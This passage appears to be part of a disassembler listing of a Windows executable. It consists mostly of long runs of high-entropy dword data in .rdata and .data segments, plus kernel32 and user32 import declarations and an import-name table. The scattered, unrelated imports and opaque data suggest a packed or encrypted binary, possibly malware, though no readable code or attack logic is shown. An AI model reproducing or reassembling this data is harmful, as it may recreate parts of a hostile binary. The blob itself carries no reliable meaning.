		dd 914AB735h, 37AE79DFh, 6AFD7785h, 0D4CDA18Ah,	0C76B334h
		dd 0D4D89023h, 48B2E5FFh, 0C866BA75h, 7400B35Fh, 509BD39Dh
		dd 4B40DEA8h, 0DBA2BF4Ah, 95F50904h, 0C869AA2Fh, 9E1A5A0Eh
		dd 3DF014Bh, 5F8257ABh,	3B93EE6Eh, 658E8321h, 4CB1B0A5h
		dd 0D878BA8Ah, 39CD9920h, 3A0B35CAh, 82675457h,	0A9D65502h
		dd 0EA1EA0A4h, 0EAFB86CAh, 0D6696C9Fh, 89EF200Ah, 0BD3C6E6Dh
		dd 0C58B9373h, 0CE312C4Fh, 324C7019h, 137289D9h, 0DB4D5C2Dh
		dd 0EBFB2E2Bh, 259835A9h, 0B06C5C10h, 0D2C41D98h, 1D1FDFADh
		dd 7993398Eh, 5E3390BCh, 0ECE38407h, 8C977E53h,	37D12440h
		dd 0BABFFC86h, 0B77E2C44h, 0F73A1D6Dh, 0DDB3D1B8h, 5CECFED6h
		dd 4CCAB6Bh, 349B0D7Eh,	72443EA5h, 7A6772D0h, 6B0CB259h
		dd 60614A8Dh, 18B73AB5h, 52F572BCh, 14220211h, 0C7D34CE0h
		dd 0B31AC534h, 820F0DA4h, 1D98EA19h, 865BBC87h,	0A8619BD3h
		dd 0D39417BBh, 4E6731E8h, 137A4DB7h, 12E0E0BBh,	0E8407CDAh
		dd 335E4FC9h, 0DAA32D3Fh, 0A4039E68h, 8FF6B839h, 570BC1B4h
		dd 2D28879Fh, 9CABC837h, 0E92F27C3h, 0E8DBD59Eh, 8B2DA9BFh
		dd 174BEE9Ch, 0C653E3A7h, 270EE407h, 53FA2F3Dh,	0E18714A4h
		dd 0C5534AA1h, 4A8AEE4Eh, 9120730Dh, 157CEEE4h,	0D0BD8886h
		dd 0FF424224h, 42650635h, 0A7710983h, 0CD623933h, 6BC5A5D8h
		dd 7B899F3Fh, 0A23D2665h, 0F40CAA85h, 0F4555646h, 53699043h
		dd 16AB3943h, 0EB4A183Dh, 0FB7D8B68h, 0C82CF2ABh, 0AFE0B73Dh
		dd 23C86F83h, 0D7ED42h,	0F2650C8Fh, 0CF1AAB8Fh,	5E0E90A1h
		dd 45EC1FDDh, 0ECE51FF1h, 40A149E6h, 66678B15h,	0AEA5041Ch
		dd 0D78A7E67h, 2682851Dh, 0E2079B96h, 4320F950h, 1A105281h
		dd 0D82C941Bh, 7632E11Ah, 3C929184h, 73CE4F1Fh,	6D980C84h
		dd 9219913Eh, 0BE03F034h, 388597CAh, 0ADE7BBD4h, 28C3F6A4h
		dd 74C9F0BBh, 8E4BF3C2h, 1BF76956h, 0B17BB943h,	381E2949h
		dd 6D7B8Dh
_rdata		ends

;
; Imports from kernel32.dll
;
; ===========================================================================

; Segment type:	Externs
; _idata
; int __stdcall	lstrcmpA(LPCSTR	lpString1, LPCSTR lpString2)
		extrn lstrcmpA:dword
; LPSTR	__stdcall lstrcatA(LPSTR lpString1, LPCSTR lpString2)
		extrn lstrcatA:dword
; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue)
		extrn TlsSetValue:dword
; DWORD	__stdcall TlsAlloc()
		extrn TlsAlloc:dword
; BOOL __stdcall SetCurrentDirectoryA(LPCSTR lpPathName)
		extrn SetCurrentDirectoryA:dword
; HFILE	__stdcall OpenFile(LPCSTR lpFileName, LPOFSTRUCT lpReOpenBuff, UINT uStyle)
		extrn OpenFile:dword
; int __stdcall	GetTimeFormatA(LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpTime, LPCSTR lpFormat, LPSTR lpTimeStr, int cchTime)
		extrn GetTimeFormatA:dword
; int __stdcall	GetDateFormatA(LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpDate, LPCSTR lpFormat, LPSTR lpDateStr, int cchDate)
		extrn GetDateFormatA:dword
; void __stdcall ExitThread(DWORD dwExitCode)
		extrn ExitThread:dword
; BOOL __stdcall EnumResourceTypesA(HMODULE hModule, ENUMRESTYPEPROCA lpEnumFunc, LONG_PTR lParam)
		extrn EnumResourceTypesA:dword
; LPSTR	__stdcall lstrcpyA(LPSTR lpString1, LPCSTR lpString2)
		extrn lstrcpyA:dword

;
; Imports from user32.dll
;
; BOOL __stdcall DrawStateA(HDC	hdc, HBRUSH hbrFore, DRAWSTATEPROC qfnCallBack,	LPARAM lData, WPARAM wData, int	x, int y, int cx, int cy, UINT uFlags)
		extrn DrawStateA:dword
; BOOL __stdcall EmptyClipboard()
		extrn EmptyClipboard:dword
; BOOL __stdcall DrawMenuBar(HWND hWnd)
		extrn DrawMenuBar:dword
; BOOL __stdcall EnableScrollBar(HWND hWnd, UINT wSBflags, UINT	wArrows)
		extrn EnableScrollBar:dword
; BOOL __stdcall EndPaint(HWND hWnd, const PAINTSTRUCT *lpPaint)
		extrn EndPaint:dword
; BOOL __stdcall DestroyIcon(HICON hIcon)
		extrn DestroyIcon:dword
; BOOL __stdcall DestroyCaret()
		extrn DestroyCaret:dword
; BOOL __stdcall DeleteMenu(HMENU hMenu, UINT uPosition, UINT uFlags)
		extrn DeleteMenu:dword
; HMENU	__stdcall CreateMenu()
		extrn CreateMenu:dword
; HWND __stdcall CreateMDIWindowA(LPCSTR lpClassName, LPCSTR lpWindowName, DWORD dwStyle, int X, int Y,	int nWidth, int	nHeight, HWND hWndParent, HINSTANCE hInstance, LPARAM lParam)
		extrn CreateMDIWindowA:dword
; HICON	__stdcall CreateIconFromResourceEx(PBYTE presbits, DWORD dwResSize, BOOL fIcon,	DWORD dwVer, int cxDesired, int	cyDesired, UINT	Flags)
		extrn CreateIconFromResourceEx:dword
; HICON	__stdcall CreateIcon(HINSTANCE hInstance, int nWidth, int nHeight, BYTE	cPlanes, BYTE cBitsPixel, const	BYTE *lpbANDbits, const	BYTE *lpbXORbits)
		extrn CreateIcon:dword
; HDESK	__stdcall CreateDesktopW(LPCWSTR lpszDesktop, LPCWSTR lpszDevice, LPDEVMODEW pDevmode, DWORD dwFlags, ACCESS_MASK dwDesiredAccess, LPSECURITY_ATTRIBUTES lpsa)
		extrn CreateDesktopW:dword
; HACCEL __stdcall CreateAcceleratorTableA(LPACCEL paccel, int cAccel)
		extrn CreateAcceleratorTableA:dword
; HANDLE __stdcall CopyImage(HANDLE h, UINT type, int cx, int cy, UINT flags)
		extrn CopyImage:dword
; BOOL __stdcall EnableMenuItem(HMENU hMenu, UINT uIDEnableItem, UINT uEnable)
		extrn EnableMenuItem:dword
; LPSTR	__stdcall CharUpperA(LPSTR lpsz)
		extrn CharUpperA:dword

; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 40885Ch
		align 10h
		dd 88CCh, 2 dup(0)
		dd 8A30h, 8818h, 889Ch,	2 dup(0)
		dd 8AE6h, 87E8h, 5 dup(0)
		dd 8ACEh, 8AC2h, 8AB4h,	8AA8h, 8A90h, 8A84h, 8A72h, 8A60h
		dd 8A52h, 8A3Ch, 8ADAh,	0
		dd 89E0h, 89EEh, 89D2h,	8A12h, 8A24h, 89C4h, 89B4h, 89A6h
		dd 8998h, 8984h, 8968h,	895Ah, 8948h, 892Eh, 8922h, 8A00h
		dd 8914h, 0
		dd 6843002Ch, 70557261h, 41726570h, 3F0000h, 79706F43h
		dd 67616D49h, 420065h
aCreateaccelera	db 'CreateAcceleratorTableA',0
aG		db 'G',0
aCreatedesktopw	db 'CreateDesktopW',0
		align 2
		db 'L',0
aCreateicon	db 'CreateIcon',0
		align 4
aN		db 'N',0
aCreateiconfrom	db 'CreateIconFromResourceEx',0
		align 4
aP		db 'P',0
aCreatemdiwindo	db 'CreateMDIWindowA',0
		align 4
aR		db 'R',0
aCreatemenu	db 'CreateMenu',0
		align 2
aB		db '',0
aDeletemenu	db 'DeleteMenu',0
		align 4
aG_0		db '',0
aDestroycaret	db 'DestroyCaret',0
		align 4
aE		db '',0
aDestroyicon	db 'DestroyIcon',0
aA		db '',0
aDrawmenubar	db 'DrawMenuBar',0
aB_0		db '',0
aDrawstatea	db 'DrawStateA',0
		align 2
aI		db '',0
aEmptyclipboard	db 'EmptyClipboard',0
		align 10h
aI_0		db '',0
aEnablemenuitem	db 'EnableMenuItem',0
		align 2
aK		db '',0
aEnablescrollba	db 'EnableScrollBar',0
aP_0		db '',0
aEndpaint	db 'EndPaint',0
		align 10h
aUser32_dll	db 'user32.dll',0
		align 4
aR_0		db 'r',0
aEnumresourcety	db 'EnumResourceTypesA',0
		align 2
aB_1		db '',0
aExitthread	db 'ExitThread',0
		align 10h
		db '',0
aGetdateformata	db 'GetDateFormatA',0
		align 2
		dw 153h
aGettimeformata	db 'GetTimeFormatA',0
		align 4
		db 0CAh	; 
		db 1, 4Fh, 70h
aEnfile		db 'enFile',0
		align 10h
		db  29h	; )
		db 2, 53h, 65h
aTcurrentdirect	db 'tCurrentDirectoryA',0
		align 4
		dd 6C54026Ch, 6C6C4173h, 636Fh,	6C54026Fh, 74655373h, 756C6156h
		dd 2B50065h, 7274736Ch,	41746163h, 2B70000h, 7274736Ch
		dd 41706D63h, 2BB0000h,	7274736Ch, 41797063h, 656B0000h
		dd 6C656E72h, 642E3233h, 6C6Ch,	43h dup(0)
_rdata		ends

; Section 3. (virtual address 00009000)
; Virtual size			: 00005499 (  21657.)
; Section size in file		: 00003A00 (  14848.)
; Offset to raw	data for section: 00007800
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 409000h
		dd 296B3A04h, 837F7AFh,	3402F255h, 119A51D2h, 21613FFCh
		dd 94871F7Ah, 1460A567h, 3FE02BF3h, 153B0B53h, 73DAB6A7h
		dd 0F621617Eh, 76A9CAF1h, 0A239A1DBh, 5087FA0h,	555978E6h
		dd 20A167F8h, 9A2A8E46h, 2505F51Eh, 0C60B2F3Bh,	0FB15E1F6h
		dd 0B54A495Dh, 99056362h, 0B9BD82A5h, 2101F903h, 58FB421Ah
		dd 6DD172B2h, 900E0826h, 0D9F8F753h, 5804E33Eh,	2A9EEC2Bh
		dd 53272403h, 0F523CB2Dh, 7FB5704Fh, 1EC7C8Bh, 0B2ED9BAAh
		dd 0F2424109h, 0A91B154Ch, 0D1F22717h, 0E7244DFh, 0D77D8FABh
		dd 171A2D6Fh, 84B7E6E1h, 73545D9h, 94A61B51h, 119E5540h
		dd 86F1AC80h, 165CB9AEh, 9D7AF59h, 0DE7CD527h, 0E361788Dh
		dd 0E3C2B48Dh, 0FB83B12h, 5C76CAABh, 38822A3Fh,	0CCB541C3h
		dd 0A4ABBBEFh, 0DDC113F1h, 0B8497350h, 0A51434CAh, 0B950A160h
		dd 16781ECh, 0F1285B3Ah, 0F077CFB4h, 30F03CDCh,	39914E01h
		dd 9564FA20h, 19E688D5h, 0D7938193h, 0B7ACE730h, 0C1732CD6h
		dd 9EA29910h, 0E86352A7h, 14479E04h, 0C86C30ABh, 217823Eh
		dd 0FA5BD25Ch, 6C127F72h, 0EEAE83A1h, 0DE0EBDA9h, 0F401A8DFh
		dd 8103BFA6h, 1F7203FBh, 276C13B9h, 0CC082591h,	952A5AF0h
		dd 801F4D6Ch, 2835B51Ch, 0D35DC9CDh, 87D659D3h,	0B8447E1Ch
		dd 0B55EA6DDh, 41D4967Ah, 4CD342ACh, 221C01A4h,	0EE2FA913h
		dd 20A7112Ah, 14E55823h, 6D613E1Dh, 2B951DAEh, 0A2C13ADBh
		dd 619780BAh, 0E5E40637h, 0A35CB54Ch, 0E866F90Ah, 634A8CA5h
		dd 55ADA366h, 0F14450DEh, 0CF49BF11h, 0D0052B17h, 571BFB8Fh
		dd 5F8EECh, 0EB346DF0h,	5D856467h, 0B78385EEh, 0CED77299h
		dd 37DE30A9h, 320E0313h, 0D82A86E4h, 0DCBC51F5h, 4B648BF6h
		dd 0C0F39516h, 4AD8FEB4h, 253AE6E9h, 1865D956h,	4D68A215h
		dd 6807CC5Bh, 833EDC5h,	7FB46D13h, 0EC24D5FEh, 1D2D9D20h
		dd 8F757ECh, 0B0D167C2h, 0F57DC716h, 1B0E3BB9h,	0E48D2E0Ah
		dd 0FEEC10C1h, 0C020DF43h, 0D2D660D2h, 0DD0F2C5Bh, 9507BCEBh
		dd 0FE7B3DA3h, 503E4141h, 0F7E840D3h, 23302802h, 0D8E84614h
		dd 5C88A657h, 3E3F9881h, 0A4F3D6B2h, 251DAB17h,	0EF0720BAh
		dd 0B4D979B6h, 0CADA0A29h, 9E9DAFF3h, 92763A54h, 9DD04E50h
		dd 154E5E1Bh, 0D0B1CA2Bh, 9F72777Bh, 547E663Ah,	855B7FCCh
		dd 4A3D8459h, 82B4E09h,	26A7420Eh, 0C985A3E8h, 0AA8BC6D1h
		dd 53C6CA61h, 959FF992h, 5757C03Ch, 40925EDEh, 281177CFh
		dd 0DF486C3Ah, 1D9B4A3Ah, 488E02E9h, 0C2A196CFh, 0B186D4FBh
		dd 0FC1F3A57h, 23DA7F8Ah, 0AEF818DCh, 0CD366B62h, 7972F2B6h
		dd 0D4ECCA57h, 22023708h, 0C4B43B5Ch, 78BD9B66h, 0A3F5044h
		dd 7B00AE82h, 2F0AD022h, 0DE455136h, 0DE94FCA6h, 0C3D63AFEh
		dd 33837858h, 0B468CD55h, 4013979Eh, 53DE3C0Dh,	57ACDEFCh
		dd 1F69AE0Dh, 0F187D159h, 43650870h, 87F594ADh,	8DEE9935h
		dd 377D5157h, 0BC854B8Bh, 528A63D0h, 0CE6B140h,	0AA8E3DCAh
		dd 5653C49Bh, 6FD9919Bh, 0C9664AD4h, 0DD5934B1h, 5D3D4EE1h
		dd 9D06FB03h, 0A0D41526h, 4C3D08F8h, 3AA7E5DCh,	77419DACh
		dd 0ECEACB17h, 11C40CBAh, 5F032CEAh, 525D264Ch,	533751D4h
		dd 0BB9FABF7h, 48FDBE7Fh, 0E83F3E3Dh, 722F4A39h, 9F04B81Bh
		dd 0AB6D87DAh, 0AAEF8E9Ah, 247E3A75h, 57D14D06h, 41EE7BE0h
		dd 0F4058971h, 0E28FB048h, 0FC1C74DBh, 0A38626Fh, 0B91E11Dh
		dd 43221CF7h, 37D8566Ah, 0A784781Dh, 30EEEDC2h,	696D4509h
		dd 0EABF7964h, 0C42D4FA1h, 1929BCCFh, 30A311A6h, 3F9E77BEh
		dd 3664DED9h, 0A4A2F9FEh, 61BBD04h, 7D9A25EAh, 473BDFDDh
		dd 0E28151ACh, 0B3F3FBAAh, 0AD9CB63Eh, 0C3386DA2h, 0B1B89FBAh
		dd 0AF220B2Ah, 2914D9F9h, 34142F54h, 27CB9CA5h,	8F93F023h
		dd 0CC4B3402h, 9231ADCCh, 7924AAB1h, 1BC00C98h,	57981A4Ch
		dd 534742A1h, 2755CF7Eh, 2993E9Bh, 7E99D539h, 9AE9EC1Ch
		dd 66C4C429h, 0AE05364Eh, 0ABAAD74Ah, 4316C490h, 0C7C04FE7h
		dd 65C400Eh, 327525C5h,	1AB74D51h, 23DEC01h, 591861FCh
		dd 8F65675Dh, 0A40BE9C3h, 0E99B2232h, 39BE5091h, 0B75870B4h
		dd 0B9CEDE9Fh, 977EEAEEh, 39526FB8h, 0D6298826h, 3A2CB3DFh
		dd 3151BF77h, 0F7BC35D8h, 2243E858h, 436F2CD4h,	9D73CDB5h
		dd 28189973h, 1F98CDC8h, 8F972DC0h, 0FA974868h,	0E38FC8Ch
		dd 0F49B521Bh, 0EAF91C57h, 5C707E97h, 55EE4587h, 754A2D9Eh
		dd 9AB34274h, 5EADCDE7h, 447BBCB4h, 0D4AC47ECh,	8E91CB75h
		dd 248CEAAEh, 52D7BB49h, 49937AE4h, 0FAD2CD00h,	289B4140h
		dd 3F6A23Dh, 61138B93h,	56D26AC0h, 0CAF25192h, 93BA8756h
		dd 0FB8C40FDh, 0FA8A8BFDh, 73E273EAh, 353F2662h, 2CA73C72h
		dd 6B6FA98Dh, 39B854A0h, 110021D1h, 0B9D75277h,	3DCCBB21h
		dd 0B0679080h, 0F92F768Dh, 1D8CD30Ah, 4E02D1C3h, 851DA68Dh
		dd 30923BD7h, 0A8396348h, 0C6A8B7C2h, 120C15FCh, 74284E2Dh
		dd 45641E87h, 5918DDE7h, 6C6FD431h, 0AAD852DDh,	4BFC366Ch
		dd 979E2F33h, 0CC2CBED4h, 7F6500AEh, 0B1BD446Ah, 0DE68EDF4h
		dd 0D6E889B3h, 0D613C3EFh, 0DE05A7ADh, 0FCFB88C5h, 9D17B01Eh
		dd 0ECC73640h, 88B948F7h, 0F0AB2A33h, 0EF535328h, 0BA20BE4Dh
		dd 7AAC7C81h, 8B858C41h, 0AFCE9C0Eh, 0BFEC0D52h, 24234CFBh
		dd 4DB487B6h, 0CB1E8A7Dh, 0F9C10E57h, 57B82574h, 3230B092h
		dd 17E32465h, 0AA5E81C4h, 1C2FE35Fh, 6857A9E5h,	40111D80h
		dd 0BAF2F001h, 0E3DDAF3h, 5D9FB42Dh, 6DAC2717h,	0BBE5F409h
		dd 38AF26CDh, 61699741h, 0FF34D049h, 0EEAFB663h, 0A82902A1h
		dd 4BB74EFBh, 0C56D7D2Fh, 0B2D6102Fh, 0C7C70A91h, 65DA6D9Ah
		dd 85ED293Ch, 4DC6141h,	0E011D2CBh, 98CFA886h, 0EA64FB84h
		dd 8B3C9280h, 571B6156h, 0B32BC21Dh, 4CBFA94Ah,	0C76BA907h
		dd 0A816EFC2h, 8D220C94h, 56267A06h, 1210168h, 0E116B93Ch
		dd 0FE80FA63h, 3AAC1E46h, 0D955C011h, 4917F949h, 0ED775A23h
		dd 76882E09h, 0EDB1437Ah, 0FD51DB4Eh, 3894728Ch, 5F2B048Ah
		dd 0DEA6CA07h, 953FE80Eh, 7FFDC791h, 3041F980h,	3FB29E72h
		dd 0FA2CC235h, 2147EFD6h, 2F47E133h, 60A19CCCh,	973085A5h
		dd 602D34B5h, 5C08FAFBh, 4F5706A7h, 265D3AC0h, 3E9E74Dh
		dd 66403F51h, 5434B926h, 0FD468278h, 1266EA97h,	71BED890h
		dd 98BE343Fh, 4F458466h, 2A64170Eh, 5472427Ch, 624F0558h
		dd 51B73E56h, 56D56F40h, 863F07B1h, 547BF6FEh, 0EC94E28h
		dd 0CAE10FEh, 5F042D80h, 0EB93EDD0h, 347A6FCAh,	0BF2DEB85h
		dd 9AC274C4h, 0E05439A0h, 867D85ECh, 0D71DB318h, 9F00E601h
		dd 57332E86h, 0AC1C2161h, 0A7762FCCh, 40AC707Ch, 63BE5A32h
		dd 3E075DC4h, 24E4CDBAh, 0F8F494DEh, 1CB533B9h,	4415D262h
		dd 34C29160h, 0C19D71E4h, 6879297Eh, 458F56EBh,	0C2398775h
		dd 6BC3CC0Bh, 539A2153h, 12286D07h, 1FA56CECh, 86D64880h
		dd 0C4FD4BD0h, 0B29D9B36h, 0F8489676h, 4A46DDE5h, 0E29CA041h
		dd 0BD74F0C7h, 1FCFBA27h, 0A218E415h, 0E0EFA038h, 0B57B254Ch
		dd 9DA0B23Eh, 2CF810B4h, 0B9B37E1Ch, 0D18409ECh, 66E2067Eh
		dd 0CFBD80ADh, 2B73FFE2h, 4BF427A9h, 6FC69E8Eh,	0AAA6B337h
		dd 0C231EEE9h, 0C6506753h, 0AA1E7AA7h, 0C4852BCBh, 386A39Fh
		dd 64A48313h, 4E449AC2h, 61334AF1h, 0B1FC32E2h,	0DD1BB54Eh
		dd 0A9F5A5F2h, 65938FF8h, 0FDB11572h, 2215EB4Bh, 9591EED2h
		dd 2105B3DFh, 32962A2h
		dd 97DD8082h, 0C9DD43Ah, 17F50DA5h, 71CC922Ch, 0BE9C622h
		dd 90D653Ch, 0A3F1CD13h, 936EFEF4h, 0ED9DBB2h, 0F94C7A30h
		dd 59EE89D6h, 691F08A7h, 48F28900h, 4FC05BABh, 9555AC59h
		dd 0EA1E54BAh, 0C9680BD9h, 0C2B551D6h, 4BE4BB9Ah, 26C872A6h
		dd 543A2DC5h, 1F67DB60h, 0AFE56846h, 119A092Ah,	0B5EAD0D1h
		dd 58D083B3h, 1AC1D50Dh, 0CFFB6EE0h, 0B3EDEB09h, 0A1BA34E2h
		dd 4AB08F2Ch, 182DD9BFh, 75320EE5h, 0F4C90EDBh,	0E271225Ch
		dd 1A5740FBh, 8A3EB9BBh, 0C1590E32h, 1304D168h,	0F0D1A088h
		dd 9EDCA000h, 320F0565h, 0D2B6D137h, 3F2DC50Ah,	0A2E6D45h
		dd 30F372CDh, 0F3417329h, 0B76A4304h, 6F53A8E7h, 944C2792h
		dd 0BEAB2670h, 2B5E4F58h, 8C1F28BEh, 831BC5B4h,	83819597h
		dd 0BC36819h, 0D65C71C5h, 173A63FBh, 0ED6BD2A5h, 7ECB65EEh
		dd 0B4570A03h, 0F6A80B1Fh, 0C21C2D5Eh, 2EF4A96Eh, 21CA11ABh
		dd 0E5244AB4h, 0F4D9FDDFh, 1B509673h, 11ABF684h, 75668155h
		dd 6C526919h, 8AA542A4h, 0A11932FEh, 0E8EFDBF1h, 0F685AE6Bh
		dd 0F44B4995h, 3F33F8D5h, 0E8524FBCh, 0A2160800h, 53017DD6h
		dd 0C22413EDh, 9804B38Eh, 0D6879642h, 6355F09Fh, 2FDCEDF8h
		dd 511F7FF0h, 2FEA419Dh, 5DC0A4CBh, 0E122759Fh,	93690444h
		dd 0A06B9142h, 15B75F41h, 2CA59241h, 0BA6C718Ch, 92E761Fh
		dd 93CC2CAEh, 2D935B2h,	1FF99506h, 7090709h, 58665870h
		dd 5ABA11B9h, 509BD7D5h, 95BD069Bh, 3F90E05Ah, 23C613B4h
		dd 17432C22h, 690A9772h, 0E6C9D8C3h, 0B542AE2Bh, 93641BFDh
		dd 0F1BEC6DCh, 8534FA03h, 30C35669h, 0CC5D3932h, 0E83FBE8Dh
		dd 265C5AA5h, 0AD71C049h, 4063DB20h, 5CBE5D22h,	0BC0CF750h
		dd 681643EFh, 4E3DB739h, 829DE70Bh, 8259301Dh, 78DB34FCh
		dd 0E894D878h, 1F488D66h, 61D7138Bh, 25D1AEF6h,	3CD84448h
		dd 0D30AD9E6h, 32F1B675h, 0E1B89734h, 4BADADE8h, 9B3493A4h
		dd 0DF1A81A9h, 96B0BDEDh, 0F95ABBF4h, 6F224C3h,	83614D10h
		dd 11BB5506h, 0B5397C3Ch, 5D124E9Eh, 0FAD092CEh, 4D7B26FEh
		dd 0AFB0AC7Ch, 0F84AFC8Dh, 0D8230F41h, 0E53CE250h, 0E02391EFh
		dd 372C8141h, 0DB666E37h, 1C8A8DBDh, 0D43A0A64h, 18C604F7h
		dd 96D0B402h, 79EDDA06h, 1729FFC8h, 72A2680Ah, 0A4C6B5C0h
		dd 0AABC94A5h, 1C1D4E56h, 11EF02Dh, 4BA4FE80h, 0A139BFAh
		dd 3D770740h, 5B65FBD8h, 8D6CA2FDh, 0F6E5EEF8h,	4EF70BB9h
		dd 932FA7CDh, 0C66FCECEh, 3ABDDF48h, 0FABE9F3Fh, 39FCE39Ah
		dd 0CDAA4383h, 76F24387h, 94CA9BE0h, 0D25D08FFh, 0C9820F6Ah
		dd 0E798A836h, 434110F9h, 1B47D933h, 4DBD1485h,	0C8EE50E0h
		dd 2405DA2Fh, 7256EF5Eh, 525125F9h, 44E6BAC4h, 0E78289E7h
		dd 1942E292h, 972349C8h, 0A1B9A4E1h, 0BA8BD351h, 0FCE57276h
		dd 505CBCF2h, 0E3B00D95h, 1A472471h, 860C3F73h,	0FE03425Dh
		dd 78B70FA3h, 86DF0B80h, 18F898CAh, 9A5845BCh, 81B22816h
		dd 0C9F6302h, 3B65AF59h, 4F911130h, 0EF85EDE6h,	96E7FA8Ah
		dd 9E28E7D8h, 8435378Ah, 6BA3674Ch, 5B03AB67h, 0FE1B8F2h
		dd 239572DBh, 8D130FE7h, 0E0D7871Bh, 32C720Dh, 2DEA876Fh
		dd 8D472A2Dh, 0AC9200E8h, 0F399A25h, 0A4361FB2h, 24161E34h
		dd 0FF7A425Bh, 0F49716A4h, 24EC556Dh, 31A79DD6h, 123211CBh
		dd 8AB71FB2h, 0A96999DFh, 0CABD2F7Eh, 64AE3049h, 5BA031DEh
		dd 0ACCEFB89h, 0D85A19F5h, 960D0270h, 5BDED1ECh, 7F843EE9h
		dd 1F64AF66h, 7754AB3Fh, 0F0DE99AFh, 56A12740h,	0C8AA67A4h
		dd 76DCBCA5h, 0B6B360D9h, 0D617A24h, 14A77959h,	0C7C6E723h
		dd 9E16BF6Ah, 1DFC9124h, 0A6A703B2h, 94A8293Ch,	4B6FBF8Ah
		dd 78B27149h, 57EDB37Eh, 0B8742770h, 0E6C5F45Dh, 0B2044DA9h
		dd 3D8C4485h, 0D933C6CCh, 7621D843h, 79F10F83h,	36D1F3F1h
		dd 1633AB52h, 4601AE55h, 55539001h, 1D9FECBCh, 147C417Dh
		dd 0E12EAA75h, 0EF1023AFh, 0AB8CD8Fh, 7C03C4B6h, 42C8E2DBh
		dd 3602F2A5h, 0B81590A1h, 0E9D3185Dh, 59CEBE80h, 0DF1F6690h
		dd 35440846h, 0EA2C87BAh, 7FFD7CB2h, 9D210DD6h,	55551234h
		dd 0B9CE1FD2h, 224ABADCh, 98B1D8D4h, 0B8592034h, 5921255Fh
		dd 9C7A4C96h, 0F3D44C29h, 85973A88h, 0AAD6B649h, 7512CF39h
		dd 0E1C4AC2Dh, 5BD52B6Dh, 2297A3F7h, 0BA5A3621h, 0E34A7E04h
		dd 0A43D35F3h, 0C7E69A50h, 0FFD6FCFFh, 7E4F9D15h, 0D105F477h
		dd 43AB4C10h, 66106DEDh, 8C55408Eh, 0DF597D2Ch,	44CB78DBh
		dd 0DA3C0293h, 0B26CDE47h, 22EB6FC1h, 3E378AE0h, 2EA22B9Ah
		dd 0D6113D46h, 96D711FEh, 0F92E89F3h, 0AC0BD839h, 0C9DE8C7Ch
		dd 2B4E531Fh, 9501F33Ah, 19306E78h, 62397964h, 244E1AA4h
		dd 702D61DAh, 0EF5BC90Fh, 8AE6C4A1h, 0AFAF938Ch, 5665F8CFh
		dd 8A34AFBDh, 8CCA257Ah, 99988291h, 507EF7BCh, 0B8FDDA03h
		dd 0C8E4D4E7h, 0C817F6D1h, 0B55170EAh, 24DE0E85h, 9949A512h
		dd 6586C47Fh, 0AE6F032Fh, 0BBD732BDh, 0A8FB3C47h, 0E4655CA1h
		dd 0C955FD1Bh, 0C90850DBh, 0CF6865D4h, 0EC56E20Fh, 0B7C18A08h
		dd 0C2A9914Dh, 0F6730CD2h, 0B73F3452h, 0AF2482E9h, 0AB68BAAFh
		dd 0CD2B5F5Ah, 4E352EAAh, 2C678168h, 9F279893h,	0CB291120h
		dd 0BE47DDB9h, 0DA7B097Dh, 71D0C4DDh, 59897057h, 54F2F89Ch
		dd 0A93E5958h, 9723FEEFh, 414D1C59h, 42AB0F5Dh,	0A28D89ABh
		dd 2C01F5EAh, 1312A5F8h, 38DB522Fh, 0F475209Ch,	67465632h
		dd 368A68BEh, 740E0289h, 4ADA13BAh, 0F43B6F91h,	35DAB158h
		dd 0B3BCFDA7h, 43983212h, 82A5BD85h, 8A049181h,	5725D376h
		dd 3DCED896h, 0B0270B80h, 2C734F7Dh, 33979587h,	4EF9C087h
		dd 7B65D8B2h, 240206E3h, 0B26BAC1Bh, 4CA3DFBCh,	0B167A0ECh
		dd 318D720Ch, 0B4168DEFh, 9A3357E4h, 5D00890Fh,	62FA63E9h
		dd 0E45E3974h, 6D2C471h, 0F814818Fh, 0A7D52FB1h, 6DC6C02Fh
		dd 10FEA8A9h, 0F877F216h, 0F96D7353h, 0EBC0A399h, 84E95205h
		dd 0BEF77B53h, 3E27F7BCh, 188371B5h, 869AE158h,	7F055017h
		dd 731BEE7Ch, 668CFEA7h, 1FC8BA1Dh, 380D6D33h, 552E0D4Dh
		dd 8F9398C2h, 2D8C9CBBh, 0D3BC015h, 1FC6D480h, 0C62C829h
		dd 43B64CDCh, 98513AF3h, 62AB5DB2h, 9103B9E9h, 9D3889A7h
		dd 0CBABFC7Fh, 1160AD10h, 35A7988Fh, 2C948E1Bh,	1626642Ah
		dd 466E55F2h, 72BEDBB9h, 0F788ABF8h, 21C5E70Bh,	14C52379h
		dd 0AF528F46h, 0E8981D8Bh, 0BFCA7981h, 6DA635D7h, 4F0D4E2Fh
		dd 5A6EBC2Dh, 0D9504948h, 5BFC92E0h, 3454074Ch,	3B4BCE44h
		dd 78FD2811h, 0F3724205h, 0B3672761h, 79C2717h,	1A79DC19h
		dd 62E0307Eh, 0F5CAF7B2h, 0ABCD2BB2h, 70DC4C6Fh, 811C2C76h
		dd 97B5DA0Dh, 0A0A3406h, 2CCA60DAh, 25E1B5F3h, 0F0FDFACEh
		dd 83393CD5h, 0C4330826h, 0B29A3BA2h, 8351E347h, 11CFB97Ah
		dd 7991BE17h, 0B3E514CCh, 943D492Eh, 51D197Eh, 675D378Dh
		dd 74673E1Fh, 4BC361A6h, 0B0EE5BF0h, 0F452E4EAh, 848BDC3Ah
		dd 5E3EE7B7h, 92772F8Ch, 758ADDF8h, 0F1A4B5E5h,	0CA1669ADh
		dd 0B804E3F0h, 0DBB2F613h, 0C94ACC3Ah, 0C6E78691h, 0D9B43173h
		dd 0DEA1FB64h, 0EE9986A3h, 0A4EA63BBh, 0CE2AC994h, 9343ED27h
		dd 0FFCCDAB9h, 0DC90354Ah, 93CB301Dh, 829738BEh, 2EC9F910h
		dd 5AB36278h, 0C90AF695h, 1B7B9BACh, 0FFCCDDF2h, 252AD043h
		dd 46673022h, 0FFCAB341h, 0A11C42ADh, 0A09D3A4h, 19AA2CEBh
		dd 3B0266A7h, 0A4D193C3h
